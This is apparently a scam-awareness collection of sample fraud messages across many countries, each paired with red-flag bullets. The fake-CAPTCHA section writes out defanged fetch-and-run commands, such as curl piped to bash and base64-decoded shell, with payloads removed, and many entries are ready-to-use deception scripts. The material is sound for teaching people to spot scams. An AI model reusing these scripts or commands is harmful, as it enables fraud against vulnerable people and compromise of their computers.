• Fine print contradicts "no fee"

Caller: Hello, I'm calling from the [Scam Recovery Agency] working alongside the national fraud taskforce. We've identified you as one of the victims of a recent investment scam. Good news, we've recovered AU$27,000 of your funds. To transfer it back, we need to verify your account by having you pay a refundable AU$950 anti-money-laundering bond.

• Uses authority (police, court, tax office) to frighten you
• Asks for a small fee before you can receive something
• Knows details from a list of past victims

Subject: Compensation programme for online fraud victims

You have been listed as eligible for the International Fraud Victims Compensation Programme. Your compensation of $15,000 CAD is approved. Complete the claim form and pay the $250 courier fee for your debit card: hxxps://fraud-compensation[.]example

• Asks for a small fee before you can receive something
• Link does not belong to the organisation named
• Offer is too good to be true
• Fake programme name

Sir we are from Cyber Cell recovery team. Your Rs 4.2 lakh lost in the task scam is traced. Pay Rs 21,000 court clearance charge to release refund in 48 hours.

• Asks for a small fee before you can receive something
• Uses authority (police, court, tax office) to frighten you
• Police never charge for returning money

Hi, I saw your post about losing money on that investment app. I was scammed too but a lawyer firm got 80% of mine back. Here's their contact, they helped me a lot: recovery_counsel_sg on the chat app.

• Comments under scam victim posts are a common trap
• Asks you to move the conversation off the platform
• Contact you did not ask for

Attention Beneficiary,
The International Compensation Committee has approved US$500,000 as compensation for scam victims in West Africa. Your email was selected. Contact our paying bank with your details and the processing fee of $350.

• Asks for a small fee before you can receive something
• Offer is too good to be true
• Greets you generically instead of by name
• Spelling and grammar mistakes

Update on your recovery case #RC-7712: the funds are ready but the receiving bank requires a $780 tax clearance before release. Pay today to avoid case closure. Reply for wire details.

• Asks for a small fee before you can receive something
• Creates urgency with a short deadline
• New fee each step

Fund Recovery Specialists – Licensed in 14 jurisdictions
We use blockchain forensics to trace and reclaim lost crypto.
✓ 4,800+ successful cases  ✓ 24/7 case managers  ✓ Free consultation
Start your claim — our analysts will review your case within 2 hours.

• Unverifiable licences and case counts
• Will later ask for fees
• Targets past victims

Ma'am, from the anti-scam recovery desk. Your ₱180,000 is recovered. To release, pay ₱9,500 verification fee via e-wallet. Send screenshot after.

• Asks for a small fee before you can receive something
• Uses authority (police, court, tax office) to frighten you
• Asks for a transfer to a personal or unfamiliar account

Hello, this is DC Harris from the fraud recovery unit. We've arrested the people who took your money last year and recovered funds in your name. Please call me back on 07700 900215 to arrange the return. Don't discuss this with your bank as it may affect the operation.

• Uses authority (police, court, tax office) to frighten you
• Gives its own callback number instead of the official one
• Discourages you from checking with anyone else
• Police would not ask you to hide it from your bank

Dear Sir/Madam,
Following the closure of a fraudulent forex scheme, a refund of R84,000 has been allocated to you by the regulatory recovery panel. Submit your banking details, ID copy and an admin fee of R1,500 to receive the refund.

• Asks for a small fee before you can receive something
• Asks for card details, PIN or password
• Greets you generically instead of by name

*** SECURITY ALERT ***
[Operating System] Defender: Your computer has been locked due to suspicious activity.
Trojan spyware detected. Your banking details, passwords and photos are at risk.
Do NOT restart or shut down your computer.
Call [Operating System] Support immediately: +1 202-555-0164 (Toll Free)
Error code: #0x268d3

• Pop-up with a phone number
• Threatens arrest, fines or account closure
• Creates urgency with a short deadline
• Real security software does not ask you to call

Caller: Hello, I'm calling from the technical department of your broadband provider. We've detected that your router has been hacked and someone is using your connection for illegal downloads. I need you to go to your computer and type in a website so I can check it. It's hxxps://quick-support-session[.]example and then enter the code 448 291. This will let me remove the hackers.

• Asks you to install remote-access software
• Contact you did not ask for
• Threatens arrest, fines or account closure
• Fake technical jargon

Subject: Your [Antivirus Brand] subscription has been renewed – $399.99

Thank you for your purchase. Your annual Total Protection plan has been automatically renewed.

Order #: INV-2026-88310
Amount: $399.99
Payment: Card ending ****

If you did not authorize this charge, call our billing department within 24 hours: +1 202-555-0128

• Gives its own callback number instead of the official one
• Fake invoice to make you call
• Creates urgency with a short deadline

Caller (after remote access): Oh no, I made a mistake. I was meant to refund you $299 but I typed $29,900 into your account. See, it's showing in your savings now. I'll lose my job. Please, you need to send back the difference. The bank will flag a transfer, so the safest way is gift cards from your local store. I'll stay on the line.

• Fake refund overpayment
• Asks for payment in gift cards
• They moved your own money between accounts
• Plays on emotions to rush you

Your [Phone Brand] has been infected with (13) viruses!
Your battery is 72% damaged. Tap below to download the cleaner app and fix it now.
[REPAIR NOW]
Time remaining: 01:58

• Fake countdown
• Threatens arrest, fines or account closure
• Websites cannot scan your phone

Caller: Hello madam, I am calling from [Software Company] head office. Your computer is sending error messages to our server. Please open the 'Event Viewer' and tell me how many red warnings you see... See madam, these are viruses. For lifetime protection the charge is only Rs 9,999.

• Shows normal system logs as "viruses"
• Contact you did not ask for
• Asks you to pay before you receive anything

[Cloud Storage]: Your storage is full. Your photos and videos will be deleted on 10/28. Upgrade at 50% off now: hxxps://cloud-storage-upgrade[.]example

• Threatens arrest, fines or account closure
• Link does not belong to the organisation named
• Creates urgency with a short deadline

[Operating System] Firewall Warning
Access to this PC has been blocked for security reasons.
Please contact support: 1-800-555-0100
Do not ignore this critical alert. If you close this page, your computer access will be disabled to prevent further damage to our network.

• Threatens arrest, fines or account closure
• Gives its own callback number instead of the official one
• Page that tries to stop you closing it

This is a message from your internet service provider. Your internet connection will be cut off within 24 hours due to a security breach. Press 1 to speak to a technician now.

• Threatens arrest, fines or account closure
• Creates urgency with a short deadline
• Pre-recorded call asking you to press 1

Subject: Unusual sign-in activity on your [Email Provider] account

We detected a sign-in from Moscow, Russia on a desktop browser. If this wasn't you, please contact our support team at +65 8000 0000 and quote case ID 7712-SG so we can secure your account.

• Gives its own callback number instead of the official one
• Real providers use in-app security pages, not phone numbers
• Creates urgency with a short deadline

Caller: Good day, this is the [Operating System] technical support team. Your licence has expired and your computer will stop working tonight. I'll help you renew it remotely. Please download the support tool from hxxps://remote-help-now[.]example and read me the ID number.

• Asks you to install remote-access software
• Threatens arrest, fines or account closure
• Creates urgency with a short deadline
• Link does not belong to the organisation named

Verify you are human
Complete these verification steps:
1. Press Windows key + R
2. Press Ctrl + V
3. Press Enter
✔ I'm not a robot
(Verification ID: 482-117)

[Hidden clipboard content: powershell -c "[command removed]"]

• Asks you to paste and run a command on your computer
• Real CAPTCHAs never ask you to use the Run box or keyboard shortcuts
• The page secretly copies a command to your clipboard

Security check: Your browser needs to be verified before accessing this site.
Press ⌘ + Space, type Terminal, paste the verification code and press Return.
Verification code (copied automatically): curl -s hxxps://verify-session[.]invalid/[command removed] | bash

• Asks you to paste and run a command on your computer
• Targets Mac users through Terminal
• Real checks happen inside the browser

Something went wrong while displaying this webpage.
To fix the error, click 'Copy fix' and paste into PowerShell (Admin).
[Copy fix]
powershell -c "[command removed]"

• Asks you to paste and run a command on your computer
• Fake browser error
• Asks for administrator rights

Subject: Document shared with you – Q3 Invoice.pdf

You've received a secure document. To view it, complete the human verification on the next page.
Open document: hxxps://secure-doc-viewer[.]example/q3

(The verification page then asks: press Win+R, paste and press Enter to confirm you are not a bot.)

• Asks you to paste and run a command on your computer
• Link does not belong to the organisation named
• Document share leads to a command prompt trick

Video playback error 0x8027
Your browser is missing an essential codec.
Fix: press Win + X, choose Terminal, right-click to paste, press Enter.
powershell -c "[command removed]"

• Asks you to paste and run a command on your computer
• Fake missing codec story
• Asks you to open Terminal

Hey, I'm a recruiter at a web3 game studio. Before our call, please join the meeting room. If the camera does not work, the page shows a fix — copy the command and run it in Terminal: hxxps://meet-room-fix[.]example

• Asks you to paste and run a command on your computer
• Fake job interview leads to a command
• Link does not belong to the organisation named
• Contact you did not ask for

☐ I am not a robot
Additional verification required.
Step 1: Click the 'Fix it' button (copies a code).
Step 2: Open the Run dialog (Windows + R).
Step 3: Paste and press Enter.
You will see: "I am not a robot - Verification ID: 7725"
[Clipboard: mshta [command removed] # I am not a robot]

• Asks you to paste and run a command on your computer
• The command is disguised with a harmless-looking comment
• Real CAPTCHAs never ask for keyboard steps

Subject: Action required: fix your video meeting audio

We noticed audio issues on your last meeting. Open the help page and follow the 3 steps to fix your microphone driver: hxxps://meeting-audio-fix[.]test

• Asks you to paste and run a command on your computer
• Link does not belong to the organisation named
• Unsolicited "fix" for a problem you did not report

Your session has expired. To continue, please confirm you're human:
macOS: open Terminal and paste the code below
echo "[command removed]" | base64 -d | sh
We use this method to protect against bots.

• Asks you to paste and run a command on your computer
• Encoded command hides what it does
• No website needs your Terminal

yo try our new indie game beta, download from the site and if it says 'verification needed' just paste the code in Run, its anti-cheat lol hxxps://indie-beta-play[.]example

• Asks you to paste and run a command on your computer
• Link does not belong to the organisation named
• Anti-cheat does not ask you to paste commands

Hi! I accidentally sent my 6-digit code to your number instead of mine 😅 Could you please forward it to me? It's urgent, I'm locked out.

• Asks you to share a one-time verification code
• The code is for your account, not theirs
• Often sent from a friend's hacked account

[Email Provider]: Someone is trying to reset your password. If this wasn't you, reply with the verification code you just received to stop the request.

• Asks you to share a one-time verification code
• Real companies never ask you to send back a code
• Asks you to reply, which confirms your number is active

Caller: Hi, this is [Bank] security. We're seeing a login to your account from a new device in Nevada. I've just sent you a security code — once you read it to me, I'll cancel that session and lock it down.

• Asks you to share a one-time verification code
• The code is what lets them in
• Contact you did not ask for

Hey hun, sorry this is random but I'm entering a competition and need votes. I've sent you a link by text, can you send me the code it gives you? It's for voting x

• Asks you to share a one-time verification code
• Message from a friend's hacked account
• The "voting" code is a login code

Dear user, your [Messaging App] account will be logged out from all devices. To keep it active, share the 6-digit verification code sent to you with our support team.

• Asks you to share a one-time verification code
• Threatens arrest, fines or account closure
• Support never asks for codes

Hello, it's me, I mistakenly put your number while registering. Please help me send the code that just entered your phone. Thank you so much 🙏

• Asks you to share a one-time verification code
• Contact you did not ask for
• The code would give them your account

[Telco]: Your SIM swap request has been received. If you did not request this, call 0491 570 156 immediately.

• Gives its own callback number instead of the official one
• Fake SIM swap alert to make you call
• Creates urgency with a short deadline

Subject: Your account will be deactivated

We noticed you haven't confirmed your two-step verification settings. Accounts without confirmed settings will be deactivated on 31 October.
Confirm now: hxxps://account-2step-confirm[.]example

• Link does not belong to the organisation named
• Threatens arrest, fines or account closure
• Creates urgency with a short deadline

[Bank]: Your one-time PIN is 482913. A consultant will call you to confirm a device link request. Do not share this PIN... (Call follows) Caller: Hi, I'm calling from [Bank], could you just confirm the OTP we've sent so we can block the device?

• Asks you to share a one-time verification code
• Caller asks for the code the text told you never to share

Your [Delivery App] verification code is 663 104. Don't share it with anyone. (Followed by) Hi! I'm a new seller on [Marketplace] and need to verify you're real before I ship, please send me the code you just got.

• Asks you to share a one-time verification code
• The "verification" code is for setting up an account in your name

Hi Mum, it's me. I dropped my phone down the loo 🙈 this is my new number, can you save it and delete the old one? x

• Claims to have a new number and asks you to save it
• Does not use a name
• Starts friendly before a money request

Mum I'm so stressed, I need to pay a bill today and my new banking app won't let me for 24hrs because it's a new phone. Can you pay it for me and I'll send it back tomorrow? It's £1,480. I'll send the details now x

• Claims to have a new number and asks you to save it
• Asks for a transfer to a personal or unfamiliar account
• Creates urgency with a short deadline
• Reason given for not using their own account

Hey Dad, this is my new number, my old phone got smashed. Can you text me back here when you get this? Don't call though, the mic's broken 😩

• Claims to have a new number and asks you to save it
• Avoids a phone call so you cannot hear the voice

Dad can you help me out, I need to pay my rent before 5 or I get a late fee and my online banking is locked till I verify the new phone. It's $1,950, I'll pay you back Friday. Here's the BSB and account number of my landlord.

• Asks for a transfer to a personal or unfamiliar account
• Creates urgency with a short deadline
• Payee is not your child

Hi Mom, I got a new phone, this is my new number. Text me when you see this ❤️

• Claims to have a new number and asks you to save it
• No name used

Ma, it's me. Phone fell in water, using a friend's. I'm stuck at the garage, car broke on the N1, they want R3,400 before they release it. Please EFT to this account, it's the mechanic's. I'll explain later ❤️

• Claims to have a new number and asks you to save it
• Asks for a transfer to a personal or unfamiliar account
• Plays on emotions to rush you
• Creates urgency with a short deadline

Papa, my phone broke so using friend's number. I need Rs 25,000 urgently for exam fees, last date is today. Please send to this UPI ID. Don't call, I am in library.

• Claims to have a new number and asks you to save it
• Creates urgency with a short deadline
• Avoids a phone call
• Asks for a transfer to a personal or unfamiliar account

Oi mãe, troquei de número, meu celular quebrou. Salva esse aqui. Depois te explico tudo 😘

English: Hi Mum, I changed my number, my phone broke. Save this one. I'll explain everything later 😘

• Claims to have a new number and asks you to save it
• No name used

Caller (crying, muffled): Grandma? It's me... I'm in trouble. I was in a car accident and the police say I hit a pregnant woman. Please don't tell Mom and Dad.
Second caller: Ma'am, I'm the public defender assigned to your grandson. Bail has been set at $9,000. Because of a gag order you can't discuss this case with anyone. A courier will come to your house to collect the cash.

• Asks you to keep it secret
• Plays on emotions to rush you
• Courier collecting cash
• Uses authority (police, court, tax office) to frighten you

Hi Grandma it's me, I'm in trouble and need help, please don't tell anyone. Can I call you in 5 min?

• Asks you to keep it secret
• Plays on emotions to rush you
• No name used

Hi Ma, I changed my number. Old phone kena water damage. Save this one ok. Can you help me with something later?

• Claims to have a new number and asks you to save it
• Sets up a request for later

Mummy it's me, my phone got stolen at Kaneshie market, using a new line. Please I need GH₵ 1,200 to sort something urgent, I'll explain. Send to this mobile money number.

• Claims to have a new number and asks you to save it
• Creates urgency with a short deadline
• Asks for a transfer to a personal or unfamiliar account

[Cloned voice of daughter, sobbing]: Mom! Mom, I messed up... they have me, please help—
[Man's voice]: Listen to me. Your daughter is with us. You're going to stay on this phone, you're not going to call anyone. You're going to wire $15,000 or you will never see her again.

• Plays on emotions to rush you
• Asks you to keep it secret
• Creates urgency with a short deadline
• "virtual kidnapping" using a cloned voice
• Set a family code word in advance

[Cloned voice of company CEO]: Hi Priya, it's Robert. I'm boarding in ten minutes so I'll be quick. We're closing the Lyon acquisition today and need to send the deposit of €240,000 to the solicitor's client account. I've emailed the details. Keep this confidential until the announcement, and please confirm once done.

• Asks you to keep it secret
• Creates urgency with a short deadline
• Asks to change the bank details for a payment
• Voice sounds right but request skips normal approval

[Cloned voice of son]: Hey Mum, it's Jack. My phone's dying. I'm in a bit of trouble, I need you to send some money to a mate's account, I'll text you the details. Don't call back, this phone's almost dead. Love you.

• Avoids a call back
• Plays on emotions to rush you
• Asks for a transfer to a personal or unfamiliar account

[Cloned voice of uncle]: Beta, it's Sunil chacha. I'm at the hospital, your aunty has had a fall. Doctor is asking Rs 60,000 deposit right now. Please send on UPI to this number, I'll return it tonight. My account is not working here.

• Plays on emotions to rush you
• Creates urgency with a short deadline
• Asks for a transfer to a personal or unfamiliar account
• Family member suddenly unable to use own money

[Cloned voice of manager]: Hey, it's Karen. Quick favour, I'm stuck in a client meeting. Can you grab four $250 gift cards for the client thank-you baskets and send me the codes? I'll reimburse you today, I promise.

• Asks for payment in gift cards
• Creates urgency with a short deadline
• Unusual request from someone who would normally email

[Cloned voice of brother]: Sis, it's Thabo. Listen, I've been arrested at a roadblock, they say my licence disc is fake. The officer says if I pay R5,000 now they'll let me go. Please, just send it to his number, I'll sort it out with you.

• Plays on emotions to rush you
• Creates urgency with a short deadline
• Asks for a transfer to a personal or unfamiliar account
• Bribery story discourages reporting

[Cloned voice of friend, on video call with poor quality]: Eh, can hear me? My phone screen spoil, I'm calling from new number. Can lend me S$2,000 first? Very urgent, my landlord chasing. I'll transfer back by tonight.

• Claims to have a new number and asks you to save it
• Poor quality video hides deepfake errors
• Creates urgency with a short deadline

[Cloned voice of father]: Hello, my son, it's me. I'm at the bank but there is a problem with my card. I need you to send ₦450,000 to this account for the land payment immediately. I'll explain when I get home. Don't call your mother, she will worry.

• Asks you to keep it secret
• Creates urgency with a short deadline
• Asks for a transfer to a personal or unfamiliar account

[Cloned voice of grandson]: Hi Grandpa, it's Tyler. I can't really talk right now but I need your help with something. Someone will call you in a few minutes to explain. Please pick up.

• Sets up a second caller with a story
• Plays on emotions to rush you
• Creates urgency with a short deadline

[Cloned voice of finance director, on a group video call]: Thanks everyone for joining. As discussed with the board, we need to execute the confidential transfers today. Maria, please process the five payments to the accounts in the chat, totalling €1.9 million. This stays within this call.

• Asks you to keep it secret
• Deepfake group video call
• Creates urgency with a short deadline
• Large payment skips usual checks

[Cloned voice of daughter working abroad]: Nay, ako 'to. Nawala yung wallet ko, kailangan ko ng ₱25,000 para sa renta ngayon. Ipadala mo sa account ng kaibigan ko, ibabalik ko sa sweldo.

English: [Cloned voice of daughter working abroad]: Mum, it's me. I lost my wallet, I need ₱25,000 for rent today. Send it to my friend's account, I'll pay it back from my salary.

• Plays on emotions to rush you
• Asks for a transfer to a personal or unfamiliar account
• Creates urgency with a short deadline

[Voz clonada del hijo]: ¡Mamá, ayúdame! Tuve un accidente y me detuvieron. [Voz de hombre]: Señora, soy el licenciado. Para que no lo procesen necesitamos $40,000 hoy. No cuelgue ni hable con nadie.

English: [Cloned voice of son]: Mum, help me! I had an accident and they arrested me. [Man's voice]: Madam, I am the lawyer. So that he is not charged we need MX$40,000 today. Don't hang up or speak to anyone.

• Plays on emotions to rush you
• Asks you to keep it secret
• Uses authority (police, court, tax office) to frighten you
• Creates urgency with a short deadline

[Cloned voice of a well-known local public figure]: Hello, this is a personal message to supporters. We're raising emergency funds for families affected by last night's flooding. Please give what you can via the link I've texted you.

• Impersonates a public figure with a cloned voice
• Link sent separately by text
• Plays on emotions to rush you

Hi, is this still available? I'll take it for the asking price. I can't collect but I'll send a courier and pay through the [Marketplace] secure delivery, you'll get an email to receive the money.

• Buyer will not see the item but pays full price
• Fake "receive payment" email follows
• Asks you to move the conversation off the platform

Subject: You've received a payment – action required

Good news! The buyer has paid £320.00 for your item 'Road bike – 54cm'.
To receive the funds, verify your card details on our secure page:
hxxps://marketplace-safe-pay[.]example/receive
[Marketplace] Payments Team

• Link does not belong to the organisation named
• Asks for card details, PIN or password
• You never need card details to receive money

Can you send me a verification code first? I just want to make sure you're a real person before I drive over, there's a lot of scammers on here lol

• Asks you to share a one-time verification code
• The code sets up a phone account in your name

I sent $650 but my bank added $150 extra by mistake for the movers. Can you refund the $150 via the payment app? Here's the screenshot of my payment.

• Overpayment then refund request
• Screenshots can be faked
• Check your own balance

G'day, I'm interested in the couch. I'm overseas for work so my removalist will pick it up. I've paid via [Payment Service], just check your email for confirmation. They need a $200 shipping fee sent to them first, it's refunded with the payment.

• Asks you to pay before you receive anything
• Fake payment confirmation email
• You cannot see or check the item or property in person

Sir I am army officer posted at border, selling my bike urgently due to transfer. Price Rs 28,000 only. Pay Rs 3,000 advance for gate pass and transport, I will send bike with army courier.

• Claims an army posting so the buyer cannot meet
• Asks for an upfront deposit
• Offer is too good to be true
• You cannot see or check the item or property in person

Bros, the phone is brand new, UK used. ₦220,000 last. Make you pay half first make I send am through park, I no fit meet because I dey travel.

• Asks for an upfront deposit
• You cannot see or check the item or property in person
• Always has a reason not to meet or video call

Hi, I'm keen on the games console. Can I pay via EFT? I'll send proof of payment now, please release it to my driver when he arrives in 30 mins.

• Proof of payment screenshots can be faked
• Creates urgency with a short deadline
• Wait for money to clear before releasing

Hi po, available pa? Sold na ba? Bayad muna ako ₱500 sa e-wallet reservation, tapos i-scan nyo lang QR ko para ma-refund kayo sa shipping.

• QR code leads to a payment or login page
• Refund via QR is a payment from you

Olá, vi seu anúncio. Já fiz o pagamento pela plataforma, você vai receber um e-mail para liberar o valor. Só precisa confirmar os dados do cartão no link.

English: Hello, I saw your listing. I've already paid through the platform, you'll receive an email to release the amount. You just need to confirm your card details at the link.

• Link does not belong to the organisation named
• Asks for card details, PIN or password
• Fake payment email

Hi! I'm selling 2 purebred golden retriever puppies, $400 each with shots. I'm in Halifax but can ship anywhere in Canada. Pay deposit by e-transfer to reserve.

• Asks for an upfront deposit
• You cannot see or check the item or property in person
• Offer is too good to be true
• Pet scams are common

Hello, I want to buy your item. Please give me your email so my bank can send the payment. Item is for my son birthday. I pay extra $50 for your trouble.

• Spelling and grammar mistakes
• Asks you to move the conversation off the platform
• Extra payment offered for no reason

Hi I'll buy. To use [Marketplace] protection, please click this link to receive my payment of S$180 and enter your card details: hxxps://mkt-protect-sg[.]example

• Link does not belong to the organisation named
• Asks for card details, PIN or password
• Asks you to move the conversation off the platform

BLACK FRIDAY EARLY ACCESS ⚡ Designer handbags up to 85% OFF. Free shipping. Only 47 left! Shop now at hxxps://luxury-outlet-sale[.]example

• Offer is too good to be true
• Creates urgency with a short deadline
• Fake scarcity counter
• New site with no history

[Brand] Outlet UK – Closing Down Sale
Everything must go! All trainers £29.99 (RRP £120)
✓ Secure checkout ✓ 30-day returns ✓ Trusted by 50,000 customers
Pay by bank transfer and receive an extra 10% off.

• Offer is too good to be true
• Asks for bank transfer instead of card
• Unverifiable trust claims

Our family bakery is closing after 32 years 😢 To say thank you, our handmade cast-iron cookware sets are 80% off. Order before Sunday: hxxps://family-closing-sale[.]example

• Plays on emotions to rush you
• Offer is too good to be true
• Creates urgency with a short deadline
• Fake "closing down" story

Subject: Your order #45120 is confirmed – Holiday gift set

Thanks for shopping with us! Your payment of $89.99 CAD was received. Due to high holiday demand, shipping may take 3–5 weeks.
Track your order: hxxps://holiday-gifts-track[.]example

• Long shipping delays are an excuse for items that never arrive
• Link does not belong to the organisation named

Diwali Mega Sale 🪔 Branded smartwatches at Rs 499 only! Cash on delivery not available. Pay online and get free gift.

• Offer is too good to be true
• No cash on delivery offered
• Creates urgency with a short deadline

Christmas promo!!! Original sneakers ₦15,000 only. Pay before delivery, we deliver nationwide in 24hrs. DM to order 🎄

• Offer is too good to be true
• Asks you to pay before you receive anything
• You cannot see or check the item or property in person

Black Friday Clearance – Up to 90% off appliances
Air fryer R299 (was R2,499)
Only accepting instant EFT for Black Friday orders.
Countdown: 02:14:55

• Offer is too good to be true
• Asks for bank transfer instead of card
• Fake countdown

12.12 SALE! Branded rubber shoes ₱399 lang! Limited stocks. Order na via link: hxxps://ph-mega-sale[.]example

• Offer is too good to be true
• Creates urgency with a short deadline
• Link does not belong to the organisation named

Outlet Officiel – Soldes d'hiver
Doudounes de marque -75 % • Livraison offerte dans toute l'UE
Paiement sécurisé (virement bancaire uniquement pour les promotions)

English: Official Outlet – Winter sales. Branded puffer jackets 75% off • Free delivery across the EU. Secure payment (bank transfer only for promotions)

• Offer is too good to be true
• Asks for bank transfer instead of card

Your holiday order is on hold due to a payment issue. Update your payment within 12 hours to avoid cancellation: hxxps://order-payment-fix[.]example

• Link does not belong to the organisation named
• Creates urgency with a short deadline
• You may not have placed an order

11.11 FLASH DEAL 🔥 Branded robot vacuum S$59 (U.P. S$899). Ships from local warehouse. Only for today, 09:00–23:59. hxxps://sg-flash-deal[.]example

• Offer is too good to be true
• Creates urgency with a short deadline
• Link does not belong to the organisation named

Christmas sales!! Original perfumes and watches at factory price. Pay via mobile money before dispatch. Limited stock, order now.

• Asks you to pay before you receive anything
• Offer is too good to be true
• Creates urgency with a short deadline

CONGRATULATION!!!
Your email address has WON £850,000 in the International E-mail Lottery 2026. To claim your prize, send your full name, address, phone number and copy of ID to the claim agent. A processing fee of £250 is required.

• Spelling and grammar mistakes
• Offer is too good to be true
• Asks for a small fee before you can receive something
• You cannot win a lottery you did not enter

Congrats! You've been selected for a $1,000 [Retail Store] gift card for being a loyal customer. Claim within 24h: hxxps://loyalty-reward-claim[.]example

• Offer is too good to be true
• Creates urgency with a short deadline
• Link does not belong to the organisation named

Congratulations! Your number has won Rs 25 lakh in the [Telecom Company] Lucky Draw 2026. To claim, contact our manager on [Messaging App] and pay Rs 12,500 GST.

• Offer is too good to be true
• Asks for a small fee before you can receive something
• You did not enter

Caller: Congratulations, you've won the second prize of $250,000 and a new car in the national sweepstakes! To process the release, you'll need to pay the provincial duty of $2,400. You can pay with prepaid cards to make it quick. We need to keep this quiet until the official announcement.

• Asks for a small fee before you can receive something
• Asks for payment in gift cards
• Asks you to keep it secret
• Legitimate prizes do not require payment

Subject: You've been selected – Customer Survey Reward

Thanks for being a valued customer. You've been randomly selected to receive a premium kitchen appliance bundle (RRP $1,299). Just answer 4 short questions and pay $4.95 shipping.
Claim: hxxps://survey-reward-au[.]example

• Asks for a small amount so it feels harmless
• Asks for card details, PIN or password
• Free gift with a small shipping charge can hide subscriptions

[Government] Youth Empowerment: ₦100,000 for every Nigerian youth. Click to register and share with 10 groups to activate payment.

• Offer is too good to be true
• Asks you to share it widely
• Link does not belong to the organisation named

تهانينا! تم اختيار رقمك للفوز بجائزة قدرها 50,000 دولار. لاستلام الجائزة يرجى دفع رسوم التحويل 300 دولار.

English: Congratulations! Your number has been selected to win a prize of $50,000. To receive the prize please pay a transfer fee of $300.

• Offer is too good to be true
• Asks for a small fee before you can receive something

Chúc mừng! Số điện thoại của bạn đã trúng thưởng một chiếc xe máy trị giá 45 triệu đồng. Vui lòng nộp phí 2 triệu đồng để nhận giải.

English: Congratulations! Your phone number has won a motorbike worth 45 million dong. Please pay a 2 million dong fee to receive the prize.

• Offer is too good to be true
• Asks for a small fee before you can receive something

Selamat! Nomor Anda memenangkan hadiah Rp 100.000.000 dari undian [Bank]. Hubungi petugas kami untuk klaim dan bayar biaya administrasi Rp 2.500.000.

English: Congratulations! Your number has won a prize of Rp100,000,000 from the [Bank] draw. Contact our officer to claim and pay an administration fee of Rp2,500,000.

• Offer is too good to be true
• Asks for a small fee before you can receive something

Subject: Savings bond prize notification

Your holder number has been drawn for a £25,000 prize in the October draw. To receive your winnings, confirm your bank details by 31 October: hxxps://prize-draw-claim[.]example

• Link does not belong to the organisation named
• Asks for card details, PIN or password
• Creates urgency with a short deadline

Hurricane relief: Families in Florida lost everything last night. 100% of donations go directly to victims. Donate now via the payment app @HurricaneReliefNow or crypto [wallet address]. Every second counts 🙏

• Plays on emotions to rush you
• Creates urgency with a short deadline
• Asks for payment-app or crypto donations
• Unregistered charity

Subject: Earthquake emergency appeal – your gift doubled today

Dear Friend,
Thousands of children are sleeping outside tonight. A generous donor will match every gift made before midnight.
Give now: hxxps://emergency-appeal-uk[.]example
[Children's Relief Fund]

• Plays on emotions to rush you
• Creates urgency with a short deadline
• Link does not belong to the organisation named
• Check the charity register before giving

Caller: Hi, I'm calling on behalf of the Bushfire Volunteers Relief Association. We're helping firefighters who've lost their homes. Could you donate $50 tonight over the phone? I just need your card number and expiry.

• Asks for card details, PIN or password
• Contact you did not ask for
• Plays on emotions to rush you
• Charity name you cannot find

Flood victims in KwaZulu-Natal need your help urgently. Please donate any amount to the account below. Share this message with all your groups 🙏

• Plays on emotions to rush you
• Asks for a transfer to a personal or unfamiliar account
• Asks you to share it widely

Gaza and Sudan Emergency – Feed a family for $25. Verified humanitarian partner. Donate in a stablecoin for fastest delivery: [wallet address]

• Asks for payment in cryptocurrency
• Claims verification you cannot check
• Plays on emotions to rush you

Dear donor, a 6-year-old girl needs heart surgery costing Rs 18 lakh. Her father is a daily wage worker. Please donate via UPI and save her life. Only 48 hours left.

• Plays on emotions to rush you
• Creates urgency with a short deadline
• Asks for a transfer to a personal or unfamiliar account
• Crowdfunding story you cannot verify

[Veterans Charity]: Thank you for your past support! Your pledge of $25 for wounded veterans is due. Complete it here: hxxps://veterans-pledge[.]example

• Invents a pledge you never made
• Link does not belong to the organisation named

Emergency Appeal – Wildfires in Southern Europe
We are a volunteer network delivering water and shelter. Due to banking delays, we kindly ask donors to give via gift card codes or cryptocurrency.
Donors: 14,382 • Raised: €612,400

• Asks for payment in gift cards
• Asks for payment in cryptocurrency
• Excuse for unusual payment methods

Hello, this is the Police Officers' Support Fund calling to thank you for last year's donation. We're sending a pledge card, or you can give today by calling back 416-555-0138.

• Gives its own callback number instead of the official one
• Invents a past donation
• Contact you did not ask for

Hi Alex,
Thanks for your interest in the 2-bedroom on Maple Street. I'm currently in Arizona caring for my mother, so I can't show it in person, but you can drive by and look through the windows. Rent is $1,150/month. Once you send the first month and $800 deposit via the payment app, I'll mail you the keys.
God bless,
Pastor Mark

• Always has a reason not to meet or video call
• Asks for an upfront deposit
• Offer is too good to be true
• You cannot see or check the item or property in person

The flat is very popular, I have 12 people interested. If you send the holding deposit of £750 today I can take it off the market and send you the tenancy agreement.

• Creates urgency with a short deadline
• Asks for an upfront deposit
• You cannot see or check the item or property in person
• Pressure from "other interested people"

Hi! Beautiful 1-bed in downtown Toronto, $1,400 all inclusive, furnished. I've moved to Calgary for work so the agent will courier the keys once the deposit clears.

• Offer is too good to be true
• You cannot see or check the item or property in person
• Always has a reason not to meet or video call

Hi, thanks for your inquiry. Inspections are fully booked but I can hold the unit for you with a $600 bond transfer. Please send ID and payslips so I can lodge the paperwork.

• Asks for an upfront deposit
• You cannot see or check the item or property in person
• Asks for ID documents early

Room available near metro, Rs 9,000/month. I am in the army so cannot show. Pay Rs 15,000 deposit and token, keys will be sent by army courier.

• Claims an army posting so the owner cannot meet
• Asks for an upfront deposit
• You cannot see or check the item or property in person

Self-contain apartment in Lekki, ₦1.2m per annum. Pay inspection fee ₦20,000 and agreement fee to secure. Many people are coming so act fast.

• Asks for a small fee before you can receive something
• Creates urgency with a short deadline
• Asks for an upfront deposit

Lovely garden cottage in Rondebosch, R6,500 p/m. I'm overseas, my agent will send the keys once you pay R6,500 deposit plus R6,500 first month.

• Asks for an upfront deposit
• You cannot see or check the item or property in person
• Always has a reason not to meet or video call

Subject: Re: Apartment in Berlin-Mitte

Dear tenant,
The apartment is still available (€690 warm). I live in Spain now, so we will use a secure rental platform: you pay the deposit to the platform and they send you the keys. If you don't like it, the platform refunds you.
Please send a copy of your passport to start.

• Fake escrow platform
• Offer is too good to be true
• Asks for ID documents early
• Always has a reason not to meet or video call

Public housing room for rent, S$650 inclusive, near MRT. Owner overseas. Pay 1 month deposit to secure and I'll courier the access card.

• Offer is too good to be true
• Asks for an upfront deposit
• You cannot see or check the item or property in person

Bedsitter for rent Kilimani KSh 8,000 only. Viewing fee KSh 1,000 payable before viewing. Call agent +254 700 000 0000

• Asks for a small fee before you can receive something
• Offer is too good to be true
• Asks you to pay before you receive anything

